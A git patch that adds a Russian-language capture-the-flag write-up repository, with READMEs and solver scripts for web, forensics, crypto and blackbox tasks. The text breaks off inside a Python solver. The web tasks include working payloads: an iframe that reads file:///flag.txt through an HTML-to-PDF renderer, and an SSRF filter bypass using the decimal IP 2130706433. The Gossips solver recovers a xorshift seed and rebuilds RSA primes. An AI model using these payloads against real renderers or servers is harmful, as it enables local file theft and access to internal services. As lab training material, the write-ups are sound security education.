From 9511b382800edeebbb502a3caf8b81bd6a59de8c Mon Sep 17 00:00:00 2001 From: Caplag Date: Mon, 2 Mar 2026 21:44:22 +0300 Subject: [PATCH] Init. commit --- .gitattributes | 1 + ArchmageScriptorium-Web/README.md | 24 + ArchmageScriptorium-Web/exploit.py | 27 + BMP1-Forensic/README.md | 29 + ForesightRune-Web/README.md | 41 ++ ForesightRune-Web/solve.py | 136 ++++ Gossips-Misc-Hard-main/README.md | 100 +++ Gossips-Misc-Hard-main/solver_blackbox.py | 667 ++++++++++++++++++ HumanAI-Forensic-Hard/README.md | 90 +++ HumanAI-Forensic-Hard/scripts/bigpooldump.py | 108 +++ .../scripts/extract_password_candidates.py | 188 +++++ .../scripts/extract_vc_fat32.py | 346 +++++++++ .../scripts/find_aes_keys_in_dumps.py | 459 ++++++++++++ HumanAI-Forensic-Hard/scripts/probe_vc_xts.py | 99 +++ .../scripts/scan_vc_password_struct.py | 101 +++ HumanAI-Forensic-Hard/scripts/veracrypt.py | 185 +++++ LockholdPortalGuard-Web/README.md | 24 + LockholdPortalGuard-Web/exploit.py | 27 + OxidePool-PWN/README.md | 95 +++ OxidePool-PWN/solve.py | 89 +++ README.md | 3 + RSA-Crypto/README.md | 62 ++ RSA-Crypto/solve.sage | 63 ++ SuiGeneris-Reverse/README.md | 163 +++++ SuiGeneris-Reverse/solver.py | 158 +++++ Warriors-Pwn/README.md | 30 + Warriors-Pwn/exploit.py | 146 ++++ WitheredFlower-forensic/README.md | 247 +++++++ tesseract-reverse/README.md | 162 +++++ tesseract-reverse/image-1.png | Bin 0 -> 171338 bytes tesseract-reverse/image-2.png | Bin 0 -> 3697 bytes tesseract-reverse/image-3.png | Bin 0 -> 61532 bytes tesseract-reverse/image-4.png | Bin 0 -> 4654 bytes tesseract-reverse/image-5.png | Bin 0 -> 124759 bytes tesseract-reverse/image-6.png | Bin 0 -> 59810 bytes tesseract-reverse/image.png | Bin 0 -> 21231 bytes tesseract-reverse/stage_1_findpassword.js | 351 +++++++++ tesseract-reverse/stage_2_decryptmessage.js | 176 +++++ 38 files changed, 4397 insertions(+) create mode 100644 .gitattributes create mode 100644 ArchmageScriptorium-Web/README.md create mode 100644 ArchmageScriptorium-Web/exploit.py create mode 100644 BMP1-Forensic/README.md create mode 100644 ForesightRune-Web/README.md create mode 100644 ForesightRune-Web/solve.py create mode 100644 Gossips-Misc-Hard-main/README.md create mode 100644 Gossips-Misc-Hard-main/solver_blackbox.py create mode 100644 HumanAI-Forensic-Hard/README.md create mode 100644 HumanAI-Forensic-Hard/scripts/bigpooldump.py create mode 100644 HumanAI-Forensic-Hard/scripts/extract_password_candidates.py create mode 100644 HumanAI-Forensic-Hard/scripts/extract_vc_fat32.py create mode 100644 HumanAI-Forensic-Hard/scripts/find_aes_keys_in_dumps.py create mode 100644 HumanAI-Forensic-Hard/scripts/probe_vc_xts.py create mode 100644 HumanAI-Forensic-Hard/scripts/scan_vc_password_struct.py create mode 100644 HumanAI-Forensic-Hard/scripts/veracrypt.py create mode 100644 LockholdPortalGuard-Web/README.md create mode 100644 LockholdPortalGuard-Web/exploit.py create mode 100644 OxidePool-PWN/README.md create mode 100644 OxidePool-PWN/solve.py create mode 100644 README.md create mode 100644 RSA-Crypto/README.md create mode 100644 RSA-Crypto/solve.sage create mode 100644 SuiGeneris-Reverse/README.md create mode 100644 SuiGeneris-Reverse/solver.py create mode 100644 Warriors-Pwn/README.md create mode 100644 Warriors-Pwn/exploit.py create mode 100644 WitheredFlower-forensic/README.md create mode 100644 tesseract-reverse/README.md create mode 100644 tesseract-reverse/image-1.png create mode 100644 tesseract-reverse/image-2.png create mode 100644 tesseract-reverse/image-3.png create mode 100644 tesseract-reverse/image-4.png create mode 100644 tesseract-reverse/image-5.png create mode 100644 tesseract-reverse/image-6.png create mode 100644 tesseract-reverse/image.png create mode 100644 tesseract-reverse/stage_1_findpassword.js create mode 100644 tesseract-reverse/stage_2_decryptmessage.js diff --git a/.gitattributes b/.gitattributes new file mode 100644 index 0000000..94f480d --- /dev/null +++ b/.gitattributes @@ -0,0 +1 @@ +* text=auto eol=lf \ No newline at end of file diff --git a/ArchmageScriptorium-Web/README.md b/ArchmageScriptorium-Web/README.md new file mode 100644 index 0000000..a3cc526 --- /dev/null +++ b/ArchmageScriptorium-Web/README.md @@ -0,0 +1,24 @@ +# Web 1.1 Cкрипторий Архимага + +В Башне Магов спрятан Запретный гримуар. Архимаг печатает свитки, но забывает закрыть доступ к библиотеке башни. Воспользуйтесь скрипториумом, чтобы добыть содержимое гримуара. + +## Решение + +Таск рендерит переданный `HTML/Markdown` в **PDF** и позволяет встраивать в сгенерированный файл внешние ресурсы. За счёт этого можно передать в `iframe` путь `file:///flag.txt` и заставить рендерер прочитать локальный файл при генерации `scroll.pdf`. + +Для этого отправляем **POST** на `/seal`, в поле `content` передаём HTML с `iframe`, затем читаем содержимое в готовом PDF. + +### Пример + +Через `curl`: +```bash +curl -s -X POST http://localhost:8000/seal \ + -F 'content=

Королевский Указ

' \ + -F 'format=html' \ + -o scroll.pdf +``` + +Через скрипт `solve/exploit.py`: +```bash +python solve/exploit.py http://localhost:8000 +``` diff --git a/ArchmageScriptorium-Web/exploit.py b/ArchmageScriptorium-Web/exploit.py new file mode 100644 index 0000000..1b9f3f7 --- /dev/null +++ b/ArchmageScriptorium-Web/exploit.py @@ -0,0 +1,27 @@ +import sys +import requests + + +def main(): + base = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:8000" + payload = """ +

Королевский Указ

+

Приложение: выдержка из гримуара

+ +""".strip() + + resp = requests.post( + f"{base}/seal", + data={"content": payload, "format": "html"}, + timeout=10, + ) + resp.raise_for_status() + + with open("scroll.pdf", "wb") as f: + f.write(resp.content) + + print("saved scroll.pdf") + + +if __name__ == "__main__": + main() diff --git a/BMP1-Forensic/README.md b/BMP1-Forensic/README.md new file mode 100644 index 0000000..b14a271 --- /dev/null +++ b/BMP1-Forensic/README.md @@ -0,0 +1,29 @@ +# BMP1 + +На разработчика задачи была проведена атака. Мы так и не выяснили, что произошло, но спустя время заметили, что в систему был встроен скрипт, который при запуске клиента `xfreerdp` добавлял дополнительные параметры. Вся строка запуска указана ниже: +``` +xfreerdp3 /v:ip /u:Administrator /p:'pass' /cert:ignore \ + /bpp:32 /network:lan \ + /cache:bitmap:on,codec:off,glyph:on,offscreen:on,persist,persist-file:$HOME/.cache/rdp/data.bin \ + -gfx -rfx \ + /w:2020 /h:1280 +``` + +Помогите узнать, чего добивались злоумышленники. + +## Решение + +По ключам запуска определяем, что злоумышленники хотели сохранить *сырое графическое представление RDP-сеанса*. Используется глубина 32 бита, отключаются кодеки с потерями, отключается масштабирование, а bitmap-кэш принудительно пишется в `persist-file:$HOME/.cache/rdp/data.bin`. + +Получается, что цель - собрать из кэша артефакты удалённого экрана и восстановить содержимое сеанса (вплоть до флага). + +Для извлечения тайлов можно воспользоваться тулзой `bmc-tools`: + +```bash +git clone https://github.com/ANSSI-FR/bmc-tools.git +python3 bmc-tools.py -s data.bin -d ./extracted_tiles +``` + +После этого остаётся собрать изображение из полученных фрагментов, учитывая размер окна `/w:2020 /h:1280`. + +**Получаем флаг**: `CAPLAG{oh_uj_etot_vash_bmp_easy_take_it}` diff --git a/ForesightRune-Web/README.md b/ForesightRune-Web/README.md new file mode 100644 index 0000000..43d3b4e --- /dev/null +++ b/ForesightRune-Web/README.md @@ -0,0 +1,41 @@ +# Руна Предвидения + +В Гильдии Магов появилась Руна Предвидения: она не творит заклинаний, а описывает путь. Страж Портала Локхолда знает запретные имена, но не знает истинных числовых титулов. Составьте свиток так, чтобы руны вытащили тайну изнутри цитадели и напечатали её в PDF. + +Свиток валиден, когда рунический заголовок и гравюра идут парой. Есть 2 режима работы: `meta` и `flag`. +Формат: +`[RUNE rid="..." mode="..." url="..."] ![](/etch?rid=...&what=...)` + + +## Решение +Сначала изучаем страницу и связанные параметры. По *cookie* находим `rune_rid`, а из описания понимаем, что руна должна использовать этот идентификатор в заголовке. Прямой `localhost` блокируется, поэтому для **SSRF** используем числовую форму `127.0.0.1` - `2130706433`. + +### Получение `nonce` +Для первого запроса используем `mode="meta"`. Тогда сервис возвращает служебные данные, в которых печатается одноразовый `nonce`. + +``` +[RUNE rid="RID_ИЗ_COOKIE" mode="meta" url="http://2130706433/meta"] + +![](/etch?rid=RID_ИЗ_COOKIE&what=meta) +``` + +После печати в PDF появится значение `nonce`. + +### Получение флага +Во втором свитке подставляем `nonce` из первого PDF и меняем режим на `flag`: + +``` +[RUNE rid="RID_ИЗ_COOKIE" mode="flag" url="http://2130706433/flag?nonce=NONCE_ИЗ_PDF"] + +![](/etch?rid=RID_ИЗ_COOKIE&what=flag) +``` + +После печати второго свитка в PDF появляется флаг. + +### Не забываем учесть: +- Оракул отвечает только на навигацию документа, поэтому запрос через картинку не сработает: `![](/oracle?rid=x&mode=meta&u=http://2130706433/meta)`. +- Прямой `http://127.0.0.1/...` блокируется стражем по подстроке. +- `file:///flag.txt` блокируется фильтром протокола. +- Гравюра принимает только `/etch` и строгие параметры `rid` и `what`. +- Нельзя вставлять больше одной руны и одной гравюры в один свиток. +- `nonce` одноразовый и живёт около 15 секунд. diff --git a/ForesightRune-Web/solve.py b/ForesightRune-Web/solve.py new file mode 100644 index 0000000..92c165e --- /dev/null +++ b/ForesightRune-Web/solve.py @@ -0,0 +1,136 @@ +import io +import re +import sys +import time + +import requests + + +BASE_URL = "http://127.0.0.1:8000" +SSRF_META_URL = "http://2130706433/meta" +SSRF_FLAG_URL = "http://2130706433/flag?nonce={nonce}" + + +def build_scroll(rid: str, mode: str, url: str) -> str: + return ( + f'[RUNE rid="{rid}" mode="{mode}" url="{url}"]\n\n' + f"![](/etch?rid={rid}&what={mode})" + ) + + +def get_rid(session: requests.Session) -> str: + resp = session.get(f"{BASE_URL}/") + resp.raise_for_status() + rid = session.cookies.get("rune_rid") + if not rid: + raise RuntimeError("rune_rid cookie not found. Open / in browser once.") + return rid + + +def seal_scroll(session: requests.Session, content: str) -> bytes: + resp = session.post(f"{BASE_URL}/seal", data={"content": content}) + if resp.status_code != 200: + raise RuntimeError(f"/seal failed: {resp.status_code} {resp.text}") + return resp.content + + +def extract_text_from_pdf(data: bytes) -> str: + try: + import PyPDF2 # type: ignore + except Exception: + return "" + + try: + reader = PyPDF2.PdfReader(io.BytesIO(data)) + except Exception: + return "" + + texts = [] + for page in reader.pages: + try: + texts.append(page.extract_text() or "") + except Exception: + continue + return "\n".join(texts) + + +def extract_nonce_from_pdf(data: bytes) -> str: + text = extract_text_from_pdf(data) + if text: + match = re.search(r"\b[A-Za-z0-9_-]{10,20}\b", text) + if match: + return match.group(0) + + # Fallback: brute-search tokens in raw PDF bytes. + raw = data.decode("latin1", errors="ignore") + candidates = re.findall(r"\b[A-Za-z0-9_-]{10,20}\b", raw) + if candidates: + return candidates[0] + raise RuntimeError("Nonce not found in PDF. Install PyPDF2 for reliable parsing.") + + +def extract_flag_from_pdf(data: bytes) -> str: + text = extract_text_from_pdf(data) + if text: + match = re.search(r"\b[A-Za-z0-9_-]+\{[^}]+\}\b", text) + if match: + return match.group(0) + + raw = data.decode("latin1", errors="ignore") + match = re.search(r"\b[A-Za-z0-9_-]+\{[^}]+\}\b", raw) + if match: + return match.group(0) + raise RuntimeError("Flag not found in PDF. Install PyPDF2 for reliable parsing.") + + +def fetch_svg_text(session: requests.Session, rid: str, what: str) -> str: + resp = session.get(f"{BASE_URL}/etch", params={"rid": rid, "what": what}) + resp.raise_for_status() + svg = resp.text + match = re.search(r"]*>([^<]+)", svg) + if match: + return match.group(1).strip() + raise RuntimeError("Failed to extract value from SVG.") + + +def main() -> int: + global BASE_URL + if len(sys.argv) > 1: + base_url = sys.argv[1].rstrip("/") + else: + base_url = BASE_URL + + BASE_URL = base_url + + session = requests.Session() + + rid = get_rid(session) + print(f"[+] rid = {rid}") + + # Step 1: get nonce via oracle + scroll_meta = build_scroll(rid, "meta", SSRF_META_URL) + pdf_meta = seal_scroll(session, scroll_meta) + + # Prefer extracting from PDF; fallback to /etch if parsing fails. + try: + nonce = extract_nonce_from_pdf(pdf_meta) + except Exception: + nonce = fetch_svg_text(session, rid, "meta") + + print(f"[+] nonce = {nonce}") + + # Step 2: get flag + scroll_flag = build_scroll(rid, "flag", SSRF_FLAG_URL.format(nonce=nonce)) + pdf_flag = seal_scroll(session, scroll_flag) + + try: + flag = extract_flag_from_pdf(pdf_flag) + except Exception: + flag = fetch_svg_text(session, rid, "flag") + + print(f"[+] flag = {flag}") + return 0 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/Gossips-Misc-Hard-main/README.md b/Gossips-Misc-Hard-main/README.md new file mode 100644 index 0000000..a2e4549 --- /dev/null +++ b/Gossips-Misc-Hard-main/README.md @@ -0,0 +1,100 @@ +# Сплетники - WriteUp + +Задача находится в категории Blackbox (реверс без бинарника) и предполагает наблюдение за работой неизвестного протокола. Уже из вывода эндпоинтов `feed`, `status` и `settings` можно получить базовую картину: + +- Есть одна сущность, которая задаёт вопросы, и две сущности, которые отвечают. +- Вопросы имеют жёсткую форму: вопросительное слово, существительное, прилагательное и обстоятельство (ровно 4 слова + `?`). +- Ответы всегда длиной 12 "слов" (фрагментов между пробелами) и выглядят как непрерывная последовательность из "Трёх мушкетёров". +- Сообщения валидируются системным участником `SYSTEM`. +- Общение идёт в рамках "эпох". +- Перед концом эпохи запускается выбор нового лидера: все участники задают вопросы и отвечают, а победитель выбирается по числу правильных ответов и средней задержке. + +#### По обращению в эндпоинт `status` можно понять следующее: +```json +{ + "epoch": 12841, - номер эпохи + "mode": "CHAT/ELECTION/PAUSE", - режим фида + "leader_kid": "d997ba98d4de71fb", - id задающего в эпохе + "election_duration_sec": 7.0, - длительность элекции + "post_election_pause_sec": 2.0, - длительность паузы + "pause_remaining_sec": 0.0, + "answer_algo": "rsa_vdf_v1", - понимаем, что ответ детерминирован по RSA VDF + "question_algo": "xs64_v1", - понимаем, что вопросы генерируются xorshift64 + "vdf_N_hex": "a0ede10c4195e4334e0622f66d94977f3d95ed014847af5c908adfd0d016eac45f8feca1edacd09393e8182039ec9fc0a1521a2d29cc7822084cb8bbe1e2e319e8db7243984c632cf87832d0147291f825a0be20c969bbcbfc0dd8c34a2230382584ffcb066aafa48c98ed5596b6f663dcd29a4fd39a5f7ce31177077e19112093595a68af689da8db66dcc68ff85e1b686621a1777ff2d964a6500550ebdf5de1526ec6135e7147f2afae2ddb975899c891e63cd7a534e461b7b7499a62bd55014d6212584a6feac79b51d438165f4ca890982975e7cc4325932a44fed1d0a305c19a80889be8f9e22cfa074dd325e2eda8bd344a280c36c75f3594c41b498f", - параметр N функции получения ответа + "vdf_T": 10000000, - параметр T функции получения ответа +} +``` + +#### А если зайдём в `settings`, то увидим: +```json +{ + "vdf_keygen": "det_rsa_xs64_v1", - понимаем, что модуль RSA детерминированно генерируется из xorshift64 + "vdf_prime_bits": 1024, + "miller_rabin_rounds": 32, + "kid_algo": "sha256:8bytes:hex_lower", + "answer_space": 131072, - пространство возможных ответов (dict_size для hint.py) + "question_vocab": "16x16x16x16", - размерность словаря вопросов + "book_encoding": "koi8_r", + "book_sha256_src": "1babc9e9994556119ea941d0de6d867ce15640d55a2ee3801f577cf86633ea00", - помощь для нахождения книги + "question_xs64_v1": { + "u64_per_question": 4, - 4 генерации на построение вопроса + "index_mask_bits": 4 - утекают 4 бита + }, + "master_seed64_sha256_le64_prefix": "...", - жирный намёк, что есть общая часть сида (64-бит) + "epoch_seed64_sha256_le64_prefix": "...", - и тут понимаем, что сид зависит от эпохи +} +``` + +### На этом этапе делаем выводы +- Книгу можно найти из открытых источников по хешу или по характерным фрагментам ответов. +- Ответ детерминирован и зависит от вопроса, эпохи и конкретного отвечающего. +- Для расчёта ответа используется RSA VDF. +- Свои сообщения можно отправлять в фид, если соблюдён формат и подпись. +- Вопросы в `CHAT` генерируются от `epoch_seed64`. +- Генерация RSA-ключа сидится от `master_seed64` (иначе `N` менялся бы по эпохам). + +### Эксперименты с сообщениями +Подбор канона подписи показывает, что `sig` считается по всем полям, кроме самого `sig`. Попытка отправить `QUESTION` в обычной фазе не даёт результата, если мы не лидер, а попытка отправить `ELECTION_QUESTION` в `CHAT` сразу возвращает `400`. + +При ответах на вопросы получаем либо "самозванец" (неверный ответ), либо просто не успеваем в тайм-окно. Отсюда основной вывод: алгоритм вычисления ответа нужно радикально ускорять. + +Тут и начинается ключевая сложность задачи. + +### Путь решения (обязательный) +Нужен бот для работы в реальном времени. Он должен уметь генерировать `kid` (как в `hint.py`), корректно подписывать сообщения и отслеживать смену эпох и режимов. + +Минимальный функционал бота: + +- опрашивать `/status` и понимать текущие `mode` (`CHAT/ELECTION/PAUSE`), `epoch`, `leader_kid`, `vdf_N_hex`, `vdf_T`; +- читать `/feed`, парсить события и хранить локальный лог по эпохам; +- отправлять `POST /feed` только в допустимом режиме (в `PAUSE` будет `409`); +- корректно выставлять `epoch` и подбирать `qid`, чтобы не конфликтовать с уже существующими сообщениями. + +После этого восстанавливаем словарь вопросов, а затем `epoch_seed64` по вопросам лидера. В `CHAT` используется `xorshift64`, на вопрос тратится 4 значения `u64`, а в текст попадают только младшие 4 бита каждого значения. Это сводится к линейной системе GF(2), которая решается обычным гауссом. + +Зная `epoch_seed64`, получаем `master_seed64 = epoch_seed64 ^ epoch` и проверяем себя по `master_seed64_sha256_le64_prefix` из `settings`. Далее берём `master_seed32 = master_seed64 & 0xFFFFFFFF`. + +### Дальнейший путь +Есть два рабочих направления. + +#### 1) "В лоб" +Можно писать максимально быструю реализацию VDF (параллель, низкоуровневый язык) и делать предвычисления для заранее выбранной эпохи. + +Ключевой шаг - реверс формулы election-сида (из наблюдений видно, что `election`-вопросы зависят от `epoch` и `kid`): +``` +seed = master_seed32 ^ epoch ^ kid16 +``` + +Этот сид прогоняется через **xorshift32** (не `xorshift64`) для генерации `election`-вопросов. После предсказания трёх `ELECTION_QUESTION` на нужную эпоху можно выигрывать выборы и получать флаг как лидер. + +#### 2) "Каноническое" +Из `settings` видно `vdf_keygen: det_rsa_xs64_v1`, то есть модуль `N` детерминированно генерируется из `xorshift64` на `master_seed64`. Поскольку `vdf_N_hex` стабилен между эпохами, это и есть нужный корневой сид. + +Далее воспроизводим генерацию RSA-ключей, получаем `p` и `q`, проверяем `p*q == vdf_N_hex`, а затем считаем VDF-ответы на `ELECTION_QUESTION` через CRT и сокращение итераций до одной модэкспоненты. Это позволяет обогнать боссов, выиграть выборы и получить флаг. + +### Хвосты +Эти факты неочевидны, но сильно упрощают решение: + +- Ответ с высокой вероятностью можно однозначно преобразовать в вопрос (последовательности из 12 слов в книге почти всегда уникальны). +- Полезно логировать и `feed`, и `status`: между перезапусками задания RSA-ключи не меняются, так что накопленный датасет пригодится позже. +- В фазе элекции игрок даёт не 2 ответа, а 3, поэтому даже относительно медленная реализация может победить в рамках окна. diff --git a/Gossips-Misc-Hard-main/solver_blackbox.py b/Gossips-Misc-Hard-main/solver_blackbox.py new file mode 100644 index 0000000..04ab830 --- /dev/null +++ b/Gossips-Misc-Hard-main/solver_blackbox.py @@ -0,0 +1,667 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- + +from __future__ import annotations + +import argparse +import base64 +import hashlib +import json +import math +import time +from dataclasses import dataclass +from typing import Any, Dict, List, Optional, Sequence, Tuple + +import requests +from cryptography.hazmat.primitives.asymmetric.ed25519 import Ed25519PrivateKey +from cryptography.hazmat.primitives import serialization + + +# ---------------- Protocol constants ---------------- +KIND_ANSWER = "ANSWER" +FLAG_QUESTION_TEXT = "Почему слоник зеленый?" + +ANSWER_ALGO = "rsa_vdf_v1" +QUESTION_ALGO = "xs64_v1" + +KIND_QUESTION = "QUESTION" +KIND_ELECTION_Q = "ELECTION_QUESTION" +KIND_ELECTION_A = "ELECTION_ANSWER" + +NGRAM_LEN = 12 # fixed by task + + +# ---------------- Small helpers ---------------- + +def canonical_json(obj: Dict[str, Any]) -> bytes: + return json.dumps(obj, ensure_ascii=False, separators=(",", ":"), sort_keys=True).encode("utf-8") + + +def canonical_msg_without_sig(msg: Dict[str, Any]) -> bytes: + d = {k: msg[k] for k in msg.keys() if k != "sig"} + return canonical_json(d) + + +def b64e(b: bytes) -> str: + return base64.b64encode(b).decode("ascii") + + +def b64d(s: str) -> bytes: + return base64.b64decode(s.encode("ascii"), validate=True) + + +def kid_from_pk_sha256_8_hex(pk_bytes: bytes) -> str: + return hashlib.sha256(pk_bytes).digest()[:8].hex() + + +def kid16_from_kid(kid_hex: str) -> int: + kid_hex = kid_hex.strip().lower() + if kid_hex.startswith("0x"): + kid_hex = kid_hex[2:] + if len(kid_hex) < 4: + return 0 + return int(kid_hex[-4:], 16) & 0xFFFF + + +def canon_q(question_text: str) -> str: + return " ".join(str(question_text).strip().split()) + + +def u16be(x: int) -> bytes: + return (int(x) & 0xFFFF).to_bytes(2, "big") + + +def sha256(data: bytes) -> bytes: + return hashlib.sha256(data).digest() + + +def seed_to_x(question_text: str, epoch: int, kid_hex: str, N: int) -> int: + kid16 = kid16_from_kid(kid_hex) + q_can = canon_q(question_text) + seed_bytes = sha256(b"vdf|" + u16be(epoch) + u16be(kid16) + q_can.encode("utf-8")) + x = int.from_bytes(seed_bytes, "big") % N + while math.gcd(x, N) != 1: + x = (x + 1) % N + return x + + +def crt(y_p: int, y_q: int, p: int, q: int) -> int: + inv_p = pow(p % q, -1, q) + t = ((y_q - y_p) % q) * inv_p % q + return y_p + p * t + + +def vdf_fast(x: int, p: int, q: int, T: int) -> int: + N = p * q + e_p = pow(2, T, p - 1) + e_q = pow(2, T, q - 1) + y_p = pow(x % p, e_p, p) + y_q = pow(x % q, e_q, q) + y = crt(y_p, y_q, p, q) + return y % N + + +def y_to_idx(y: int, N: int, dict_size: int) -> int: + if dict_size <= 0 or (dict_size & (dict_size - 1)) != 0: + raise ValueError("dict_size must be power of two") + lenN = (N.bit_length() + 7) // 8 + h = sha256(int(y).to_bytes(lenN, "big")) + h32 = int.from_bytes(h[:4], "little") + return h32 & (dict_size - 1) + + +# ---------------- Book 12-gram source ---------------- + +@dataclass +class BookNGram: + tokens: List[str] + dict_size: int + + @staticmethod + def load(book_path: str, *, encoding: str = "koi8_r") -> "BookNGram": + raw = open(book_path, "rb").read() + text = raw.decode(encoding, errors="strict") + text = text.replace("\x14", "").replace("\x15", "") + tokens = text.split() + if len(tokens) < NGRAM_LEN: + raise RuntimeError("book too short") + ngram_count = len(tokens) - NGRAM_LEN + 1 + dict_size = 1 << (ngram_count.bit_length() - 1) + return BookNGram(tokens=tokens, dict_size=dict_size) + + def lookup(self, idx: int) -> str: + return " ".join(self.tokens[idx: idx + NGRAM_LEN]) + + +def expected_answer_fast( + question_text: str, + epoch: int, + kid_hex: str, + book: BookNGram, + p: int, + q: int, + T: int, +) -> str: + N = p * q + x = seed_to_x(question_text, epoch, kid_hex, N) + y = vdf_fast(x, p, q, T) + idx = y_to_idx(y, N, book.dict_size) + return book.lookup(idx) + + +# ---------------- xorshift32 + prime gen (same as service) ---------------- + +class XorShift32: + __slots__ = ("state",) + + def __init__(self, state: int): + self.state = int(state) & 0xFFFFFFFF + if self.state == 0: + self.state = 1 + + def next_u32(self) -> int: + x = self.state + x ^= (x << 13) & 0xFFFFFFFF + x ^= (x >> 17) & 0xFFFFFFFF + x ^= (x << 5) & 0xFFFFFFFF + self.state = x & 0xFFFFFFFF + return self.state + + def next_u64(self) -> int: + hi = self.next_u32() + lo = self.next_u32() + return ((hi << 32) | lo) & 0xFFFFFFFFFFFFFFFF + + +_SMALL_PRIMES = ( + 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53, 59, + 61, 67, 71, 73, 79, 83, 89, 97, +) + + +def is_probable_prime(n: int, rounds: int = 32) -> bool: + n = int(n) + if n < 2: + return False + if n in (2, 3): + return True + if n % 2 == 0: + return False + for p in _SMALL_PRIMES: + if n == p: + return True + if n % p == 0: + return False + d = n - 1 + s = 0 + while (d & 1) == 0: + d >>= 1 + s += 1 + for i in range(int(rounds)): + a = 2 + i + if a >= n - 1: + a = 2 + (a % (n - 3)) + x = pow(a, d, n) + if x == 1 or x == n - 1: + continue + for _ in range(s - 1): + x = (x * x) % n + if x == n - 1: + break + else: + return False + return True + + +def cand_from_rng_1024(rng) -> int: + parts = [rng.next_u64() for _ in range(16)] + b = b"".join(int(x).to_bytes(8, "big") for x in parts) + cand = int.from_bytes(b, "big") + cand |= (1 << 1023) + cand |= 1 + return cand + + +def generate_prime_1024(rng) -> int: + cand = cand_from_rng_1024(rng) + while not is_probable_prime(cand): + cand += 2 + return cand + + +class XorShift64: + __slots__ = ("state",) + + def __init__(self, state: int): + self.state = int(state) & 0xFFFFFFFFFFFFFFFF + if self.state == 0: + self.state = 1 + + def next_u64(self) -> int: + x = self.state + x ^= (x << 13) & 0xFFFFFFFFFFFFFFFF + x ^= (x >> 7) & 0xFFFFFFFFFFFFFFFF + x ^= (x << 17) & 0xFFFFFFFFFFFFFFFF + self.state = x & 0xFFFFFFFFFFFFFFFF + return self.state + + +def master_seed32_from_secret(secret: str) -> int: + h = hashlib.sha256(secret.encode("utf-8")).digest() + seed32 = int.from_bytes(h[:4], "little") & 0xFFFFFFFF + if seed32 == 0: + seed32 = 1 + return seed32 + + +def master_seed64_from_secret(secret: str) -> int: + h = hashlib.sha256(secret.encode("utf-8")).digest() + seed64 = int.from_bytes(h[:8], "little") & 0xFFFFFFFFFFFFFFFF + if seed64 == 0: + seed64 = 1 + return seed64 + + +def generate_vdf_params(master_seed64: int, T: int) -> Tuple[int, int, int]: + rng = XorShift64(master_seed64) + p = generate_prime_1024(rng) + q = generate_prime_1024(rng) + while q == p: + q = generate_prime_1024(rng) + N = p * q + return p, q, N + + +# ---------------- Question parsing + linear recovery (64-bit xorshift) ---------------- + +@dataclass +class Vocab: + W: List[str] + N: List[str] + A: List[str] + E: List[str] + + @staticmethod + def empty() -> "Vocab": + return Vocab(W=[], N=[], A=[], E=[]) + + +def parse_question_words(q: str) -> Optional[Tuple[str, str, str, str]]: + # Expect "W N A E?" exactly 4 words + parts = q.strip().split() + if len(parts) != 4: + return None + w, n, a, e = parts + if not e.endswith("?"): + return None + e = e[:-1] + w = w.lower() + n = n.lower() + a = a.lower() + e = e.lower() + return w, n, a, e + + +def build_vocab_from_questions(questions: Sequence[str]) -> Vocab: + ws, ns, a_s, es = set(), set(), set(), set() + for q in questions: + parsed = parse_question_words(q) + if not parsed: + continue + w, n, a, e = parsed + ws.add(w); ns.add(n); a_s.add(a); es.add(e) + # Protocol guarantees 16 each once we've seen enough traffic + return Vocab(W=sorted(ws), N=sorted(ns), A=sorted(a_s), E=sorted(es)) + + +def question_to_obs4(q: str, vocab: Vocab) -> Optional[Tuple[int, int, int, int]]: + parsed = parse_question_words(q) + if not parsed: + return None + w, n, a, e = parsed + try: + return (vocab.W.index(w), vocab.N.index(n), vocab.A.index(a), vocab.E.index(e)) + except ValueError: + return None + + +def xs64_next(state: int) -> int: + x = state & 0xFFFFFFFFFFFFFFFF + x ^= (x << 13) & 0xFFFFFFFFFFFFFFFF + x ^= (x >> 7) & 0xFFFFFFFFFFFFFFFF + x ^= (x << 17) & 0xFFFFFFFFFFFFFFFF + return x & 0xFFFFFFFFFFFFFFFF + + +def build_linear_system_from_obs(obs: List[int], steps: int) -> Tuple[List[int], List[int]]: + MASK = 0xFFFFFFFFFFFFFFFF + + def xs64_step_masks(m: int) -> int: + x = m + x ^= (x << 13) & MASK + x ^= (x >> 7) & MASK + x ^= (x << 17) & MASK + return x & MASK + + rows: List[int] = [] + rhs: List[int] = [] + + vecs = [1 << k for k in range(64)] + + for t in range(steps): + vecs = [xs64_step_masks(v) for v in vecs] + nib = obs[t] & 0xF + for bit in range(4): + row = 0 + for k in range(64): + if (vecs[k] >> bit) & 1: + row |= 1 << k + rows.append(row) + rhs.append((nib >> bit) & 1) + + return rows, rhs + + +def gf2_gauss_elim(rows: List[int], rhs: List[int]) -> Optional[int]: + """ + Solve A x = b over GF(2) for 64 vars, return one solution as 64-bit int. + """ + n = 64 + m = len(rows) + rows = rows[:] + rhs = rhs[:] + + pivot_row_for_col = [-1] * n + r = 0 + for c in range(n): + piv = None + for i in range(r, m): + if (rows[i] >> c) & 1: + piv = i + break + if piv is None: + continue + rows[r], rows[piv] = rows[piv], rows[r] + rhs[r], rhs[piv] = rhs[piv], rhs[r] + pivot_row_for_col[c] = r + + for i in range(m): + if i != r and ((rows[i] >> c) & 1): + rows[i] ^= rows[r] + rhs[i] ^= rhs[r] + r += 1 + if r == m: + break + + for i in range(m): + if rows[i] == 0 and rhs[i] == 1: + return None + + x = 0 + for c in range(n - 1, -1, -1): + pr = pivot_row_for_col[c] + if pr == -1: + continue + s = rhs[pr] + row = rows[pr] + for j in range(c + 1, n): + if (row >> j) & 1: + s ^= (x >> j) & 1 + if s & 1: + x |= 1 << c + return x & 0xFFFFFFFFFFFFFFFF + + +def recover_epoch_seed64_from_obs4(obs4: List[Tuple[int, int, int, int]]) -> Optional[int]: + """ + For each question we observe 4 consecutive xs64 outputs low 4 bits. + """ + obs_nibbles: List[int] = [] + for o in obs4: + obs_nibbles.extend([o[0], o[1], o[2], o[3]]) + obs_nibbles = obs_nibbles[:200] # 50 questions * 4 + if len(obs_nibbles) < 64: + return None + + rows, rhs = build_linear_system_from_obs(obs_nibbles, steps=len(obs_nibbles)) + sol = gf2_gauss_elim(rows, rhs) + return sol + + +# ---------------- Feed client / play loop ---------------- + +class Player: + def __init__(self, feed_url: str, book: BookNGram, play: bool): + self.feed_url = feed_url.rstrip("/") + self.book = book + self.play = play + self.session = requests.Session() + + # Generate an 